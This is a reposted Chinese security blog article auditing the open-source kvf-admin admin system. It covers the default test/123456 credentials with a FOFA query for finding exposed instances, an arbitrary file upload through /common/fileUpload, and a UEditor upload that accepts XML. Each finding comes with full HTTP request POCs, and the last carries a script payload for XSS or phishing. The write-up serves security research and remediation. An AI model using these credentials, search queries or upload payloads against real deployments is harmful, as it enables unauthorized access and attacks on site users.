文章总结: 文章对kvf-admin项目进行了源码审计,发现了三个主要安全漏洞:默认测试账号密码test/123456可被用于未授权访问;头像上传功能存在任意文件上传漏洞,可通过/common/fileUpload接口上传任意文件;ueditor编辑器允许上传恶意PDF和XML文件,可能被用于钓鱼攻击。文章提供了详细的漏洞分析、代码审计过程以及POC示例,建议项目开发者修复这些安全问题,包括更改默认密码、添加文件类型检查和限制上传文件类型。
综合评分: 85
文章分类: 代码审计,漏洞分析,WEB安全,应用安全,漏洞预警
kvf_admin源码审计
实战安全研究
2025年8月1日 10:01
广东
以下文章来源于Joker One Security
,作者小白鱼来了
Joker One Security
.
只想分享干货,学习新思想争做新青年!
项目地址:https://github.com/kalvinGit/kvf-admin?tab=readme-ov-file
根据readme文档布置所需环境,启动后访问页面
审计方法:先看readme文档,留意是否有默认账号密码;再看pom.xml观察用了哪些组件及版本号;根据自己想审计的漏洞进行全局搜索
根据pom.xml我们可以知道这是一个基于spring框架的系统
漏洞1-默认测试账号密码
漏洞点:readme.md
test/123456
利用默认测试账号进行登录,如可以利用搜索引擎寻找相同系统进行登录
fofa: title="kvfadmin"
利用测试账号进行登录
漏洞2-头像处任意文件上传
漏洞点:FileUploadKit.java
全局搜索”文件”或”fileupload”或”头像”或”上传”等
一步一步推理此处代码逻辑
public static UploadFileInfo upload(MultipartFile multipartFile, UploadPathEnum pathEnum)
定义UploadFileInfo类,包含上传后的文件信息(如存储路径、访问URL等)
MultipartFile multipartFile:Spring框架的文件对象UploadPathEnum pathEnum:上传路径的枚举配置
String basePath = System.getProperty("user.dir") + File.separator + Constants.BASE_USER_FILE_PATH;String filename = multipartFile.getOriginalFilename();String path = pathEnum.getPath() + "/" + DateUtil.format(DateUtil.date(), "yyyyMMdd");String filePath = basePath + "/" + path + "/" + filename;
此处的代码是创建文件的保存路径,例如:avatars/20230727/test.jpg
if (file.exists()) { assert filename != null; int index = filename.lastIndexOf("."); filename = filename.substring(0, index) + "_" + RandomUtil.randomNumbers(5) + filename.substring(index); file = new File(basePath + "/" + path + "/" + filename); }
如果文件上传后,文件已经存在了并且文件名不为空,那么就截取到最后一个点号(.),将文件重新命名为原名称+5位随机随机数确保不被覆盖
return new UploadFileInfo(filename, path + "/" + filename, filePath.replaceAll("\\\\", "\\/"));
filename: 文件名
path + “/” + filename: 这里path是之前构建的相对路径(例如:avatars/20230727),然后加上文件名,形成相对路径+文件名的字符串(例如:avatars/20230727/test.jpg)。综上所述,该处的代码主要是判断上传的文件是否会与服务器的文件重名,如果重名了就要重新更改文件名,并且设置了文件的保存路径。
我们在追一下FileUploadKit用法
可以发现两处并未涉及到检查文件的类型,所以这就导致了可以上传任意的文件。此处还需要寻找路由接口,根据路由接口去构造完整的POC
路由接口:/common/fileUpload
我们来到基本资料界面就可以发现上传头像的接口与漏洞接口一致,若构造不出完整的上传数据包,只需要在此处抓包进行修改即可
POC:
POST /common/fileUpload HTTP/1.1Accept: application/json, text/javascript, */*; q=0.01Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cache-Control: no-cacheConnection: keep-aliveContent-Length: 23725Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeOdlo8XkMLgAo5v0Cookie: JSESSIONID=0f8f5016-7fcd-4d2f-83b2-f82a2ec1ac1eHost: XXXXX:8082Origin: http://XXXX:8082Pragma: no-cacheReferer: http://XXXXX:8082/sys/user/infoUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0X-Requested-With: XMLHttpRequest
------WebKitFormBoundaryeOdlo8XkMLgAo5v0Content-Disposition: form-data; name="file"; filename="22.txt"Content-Type: image/png
11------WebKitFormBoundaryeOdlo8XkMLgAo5v0Content-Disposition: form-data; name="type"
avatar------WebKitFormBoundaryeOdlo8XkMLgAo5v0--
再去访问该文件时会发现我们根据FileUploadKit那部分推出来的文件路径不对
回到FileUploadKit的实现方法处
@GetMapping(value = "static/{fileType}/{yyyyMMdd}/{filename}")
在访问项目外部静态图片这里给出了文件的访问路径
路径:static/{fileType}/{yyyyMMdd}/{filename}
完整的文件路径:
XXXXX/common/static/avatar/20250727/22.txt
漏洞3-ueditor文件上传
漏洞点:UEditorController.java
在pom.xml可以发现引入了ueditor编辑器
全局搜索ueditor
来到UEditorController.java
在config.json里可以看到上传文件的类型
此处进行了白名单设置,但仍然允许上传pdf、xml等,那我们就可以构造恶意的pdf和xml进行上传,而UEditor这一功能只能由admin权限的用户进行使用,若拥有admin权限即可上传恶意的paf和xml进行互联网钓鱼。
POC:
POST /ueditor/upload?configPath=ueditor/config.json&action=uploadfile HTTP/1.1Host: xxxAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateCookie: JSESSIONID=707bfffa-49cc-49ff-acd0-8dd285701b07; rememberMe=voFiAKGY4BjwzQlWUvQRuxYPzFLdbUyJnX6u0evTdkxG8FjTc97O7yMZkB8UVL5335fUkKu0yiX6cPevGZ5578ClchkJrILtVy6k9IwLYQVlJ9v0a+2ysULMIZgvbKb/IU5AxC26iN+wcPd0KDWNdiXfItrNSFbANbHe39Uw9ldqwyp7gmSwjy9uFB8NCioDhBIUtCvqDZ4IfJp9aXsTgvJJTw45Yg/CCNbr4PI8iyqmW1BLKX8nqZOzXiNk0MfvhC3NikwLJ4Iz6Hgmx5BPhqOgxQosK5p5FmZYnGXf7kjJ3Rjmm2pzJSt35Plucv2CB9phiCO71vqyLt38mUF4l4hbAuVwvqN5AuO3raOA9y1An3p1SAraoNwYXQ/QRgWsTCOCF71In5xmWRB0ulEr98v3q8wzbPEzsIcDgdBlxMR0X2XMbr7Y2aCIR8pkGGyAENl9yXYA3VW157EyDGA1exY1kRUqZI4ndSpW1jlqWssHjKM2FvPtnRiTXBpJEj5RkSUTSxCyrv4zujObG4IWOT5L0EfRZbTcDe4jvtvzwN5Kx3eTJVjK09vMs5m8WNwdpLRkX32MH0rQcOPLvDAkXwVX/MFvQcU0TrMYnW7T08Ot4lmhRy/iU9dv4bX4Q6Oxpsurp1mRcuJ4N7u5zw6OBZZEyRe5bk8tKFigCvbWE0rw5WQl/0eS+YylyUz9FLf1uYGWbh1k74PXglVFQ3fP1z9EkB1Ib4BCkGzUIkliVcbSebmkZwZItH0YW29/4BmtVHGllUxsSo64oUp9ZNe7G5Ex4ckPOMkh/tiq2+5j9wksOpsf+V+G8RMu1kbUfzFx+4cSY0zJN9f1yEYHCLN7E8u51MZ/OPG/mtWqcPHuIGgCLlJD9Ih3kGGMPTinkGEDkHJmHZfFGohQaEzc0Q3jYi1s+Eoxq+geWE70TQRrEFv41ukogBfV9x6ThvkSrihe4GA/0hw1pP8+58TVB56q2DOLNh1viGqpbO2ppi3Tx7wR8niwQ5Ty1VGcNtU2ecOwFrTIQge0ELMC4JZ65sdsAla2n+tv0SZjQfoysjPQoLwK4AsQQ5VmSpY46h6pTJ5zbETEtQMd+70xOE4ntem5xWfUaJzGV90zzx5I+YklqSTjsnSUC2Ezg51P6qFK2B0IyjJ0+Tqb92LcnHVmCM8ChOynVhmRnlflheEZRjMpLigCKcizx2tA4PnLEH9zf5rpZtu7QAvE5IdtmQERfEjpaWGNnRySf1bmD06h0XsV8oSRSlKqMVNm35Qe/yM7br4NXdC44kfZm4+z+3+7nacfq0ugyhWM1b2gX3FKHkxTwDEfyQdGp9NHorvSjcMvA8RW3ApckFZycfm2JnArlyw95Eq42uoZqdcB/LqlRNinjljjqZM99S511T/bZWpvFD+bSXp5xznDDJOyOkhPSUAV63jnlRn8atl2xQq2soMyPeI2HevgvO2RpRjtCTnx0l1wKE9ZERr5YGMoPLgDuou76y9xN1b0LDdshPTdUoPu694JRwDOoeoqmIDCIuQfJa89hulN2mDOeoYB347ZmO+Eh1KFDYlP1ytBnibbAccept-Language: zh-CN,zh;q=0.9Cache-Control: max-age=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Upgrade-Insecure-Requests: 1Origin: xxxxContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryhRtIv7Zw4UrVozpEContent-Length: xxxx
------WebKitFormBoundaryhRtIv7Zw4UrVozpEContent-Disposition: form-data; name="upfile"; filename="xxxx"Content-Type: image/jpeg
<html><head></head><body><something:script xmlns:something="http://www.w3.org/1999/xhtml"> alert("hacked by 110");</something:script></body></html>------WebKitFormBoundaryhRtIv7Zw4UrVozpE--
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:实战安全研究 《kvf_admin源码审计》